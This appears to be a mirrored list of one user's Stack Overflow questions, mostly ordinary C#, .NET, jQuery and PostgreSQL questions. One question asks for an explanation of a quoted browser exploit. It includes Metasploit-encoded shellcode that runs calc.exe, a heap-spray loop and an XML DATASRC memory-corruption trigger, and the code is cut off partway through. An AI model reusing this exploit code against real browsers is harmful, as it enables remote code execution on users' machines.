小编Pat*_*ins的帖子

LINQ对特定属性的Distinct()

我正在玩LINQ来了解它,但是当我没有一个简单的列表时,我无法弄清楚如何使用Distinct(一个简单的整数列表很容易做到,这不是问题).我想在对象的一个多个属性上使用对象列表中的区别

示例:如果对象是Person,则使用Property Id.如何获取所有Person并使用对象Distinct的属性Id

Person1: Id=1, Name="Test1"
Person2: Id=1, Name="Test1"
Person3: Id=2, Name="Test2"
Run Code Online (Sandbox Code Playgroud)

我怎样才能得到Person1和Person3?那可能吗?

如果LINQ不可能,那么Person在.NET 3.5 中依赖于某些属性的列表最好的方法是什么?

c# linq distinct .net-3.5

1002
推荐指数
15
解决办法
80万
查看次数

如何从泛型类或方法的成员中获取T的类型?

假设我在类或方法中有一个泛型成员,所以:

public class Foo<T>
{
    public List<T> Bar { get; set; }

    public void Baz()
    {
        // get type of T
    }   
}
Run Code Online (Sandbox Code Playgroud)

当我实例化类时,T变为MyTypeObject1,所以类具有通用列表属性:List<MyTypeObject1>.这同样适用于非泛型类中的泛型方法:

public class Foo
{
    public void Bar<T>()
    {
        var baz = new List<T>();

        // get type of T
    }
}
Run Code Online (Sandbox Code Playgroud)

我想知道,我的类列表包含什么类型的对象.所以调用的list属性Bar或局部变量baz包含什么类型的T

我做不到Bar[0].GetType(),因为列表可能包含零元素.我该怎么做?

.net c# generics

647
推荐指数
11
解决办法
60万
查看次数

在C#中重新抛出异常的正确方法是什么?

我有一个问题,源于我的伙伴以不同于我的方式做事.

这样做更好:

try
{
    ...
}
catch (Exception ex)
{
    ...
    throw;
}
Run Code Online (Sandbox Code Playgroud)

或这个:

try
{
    ...
}
catch (Exception ex)
{
    ...
    throw ex;
}
Run Code Online (Sandbox Code Playgroud)

他们做同样的事情吗?这个比那个好吗?

.net c# exception-handling

435
推荐指数
7
解决办法
18万
查看次数

我应该测试私有方法还是仅测试公共方法?

我读过这篇关于如何测试私有方法的帖子.我通常不测试它们,因为我一直认为只测试从对象外部调用的公共方法会更快.你测试私人方法吗?我应该经常测试吗?

language-agnostic testing unit-testing

329
推荐指数
16
解决办法
10万
查看次数

C#Lambda表达式:我为什么要使用它们?

我已经快速阅读了Microsoft Lambda Expression文档.

这种例子帮助我更好地理解了:

delegate int del(int i);
del myDelegate = x => x * x;
int j = myDelegate(5); //j = 25
Run Code Online (Sandbox Code Playgroud)

不过,我不明白为什么会有这样的创新.它只是一种在"方法变量"结束时死亡的方法,对吗?为什么我应该使用它而不是真正的方法?

c# lambda c#-3.0

302
推荐指数
10
解决办法
22万
查看次数

帮助我理解这个JavaScript漏洞

我通常没有阅读JavaScript脚本的困难,但这个我无法弄清楚逻辑.该代码来自于4天前发布的漏洞利用程序.你可以在milw0rm找到它.

这是代码:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag …
Run Code Online (Sandbox Code Playgroud)

javascript x86 assembly exploit

145
推荐指数
2
解决办法
4万
查看次数

如何在C#中创建一个简单的代理?

几个星期前我已经下载了Privoxy,为了好玩,我很想知道它的简单版本是如何完成的.

我知道我需要配置浏览器(客户端)以向代理发送请求.代理将请求发送到Web(假设它是一个http代理).代理将收到答案......但代理如何将请求发送回浏览器(客户端)?

我在网上搜索了C#和http代理,但是没有找到让我理解它在幕后正确工作的东西.(我相信我不想要反向代理,但我不确定).

你们有没有一些解释或一些信息让我继续这个小项目?

更新

这就是我的理解(见下图).

步骤1我将所有请求的客户端(浏览器)配置为在Proxy侦听的端口发送到127.0.0.1.这样,请求将不会直接发送到Internet,而是由代理处理.

步骤2代理查看新连接,读取HTTP标头并查看必须执行的请求.他执行请求.

步骤3代理从请求中接收答案.现在他必须从网上发送答案给客户但是怎么样???

替代文字

有用的链接

Mentalis代理:我发现这个项目是一个代理(但我想要的更多).我可能会查看来源,但我真的想要一些基本的东西来理解更多的概念.

ASP代理:我也许可以在这里获得一些信息.

请求反射器:这是一个简单的例子.

这是一个带有简单Http代理Git Hub存储库.

.net c# proxy .net-2.0

139
推荐指数
8
解决办法
15万
查看次数

返回声明应该在锁定内部还是外部?

我刚刚意识到,在我的代码中的某个地方,我在锁内部有一个return语句.哪一个是最好的?

1)

void example()
{
    lock (mutex)
    {
    //...
    }
    return myData;
}
Run Code Online (Sandbox Code Playgroud)

2)

void example()
{
    lock (mutex)
    {
    //...
    return myData;
    }

}
Run Code Online (Sandbox Code Playgroud)

我应该使用哪一个?

.net c# multithreading mutex

134
推荐指数
5
解决办法
4万
查看次数

将Object转换为JSON字符串

jQuery.parseJSON('{"name":"John"}')将字符串表示转换为对象,但我希望反过来.对象将被转换为JSON字符串我得到了一个链接http://www.devcurry.com/2010/03/convert-javascript-object-to-json.html 但它需要有json2.js做jQuery有一个原生这样做的方法?

jquery json

122
推荐指数
3
解决办法
33万
查看次数

PostgreSQL - 重命名数据库

我需要重命名数据库,但当我在 PGAdmin : ALTER DATABASE "databaseName" RENAME TO "databaseNameOld"其中时,告诉我它不能.

我该怎么做?

(WindowsXP上的8.3版)

更新

  • 第一条错误消息:不能,因为我连接到它.所以我选择了另一个数据库并进行了查询.

  • 我收到第二条错误消息,告诉我它已经来了用户连接.我在PGAdmin屏幕上看到它有很多,PID但它们都处于非活动状态......我不知道如何杀死它们.

sql postgresql

115
推荐指数
3
解决办法
7万
查看次数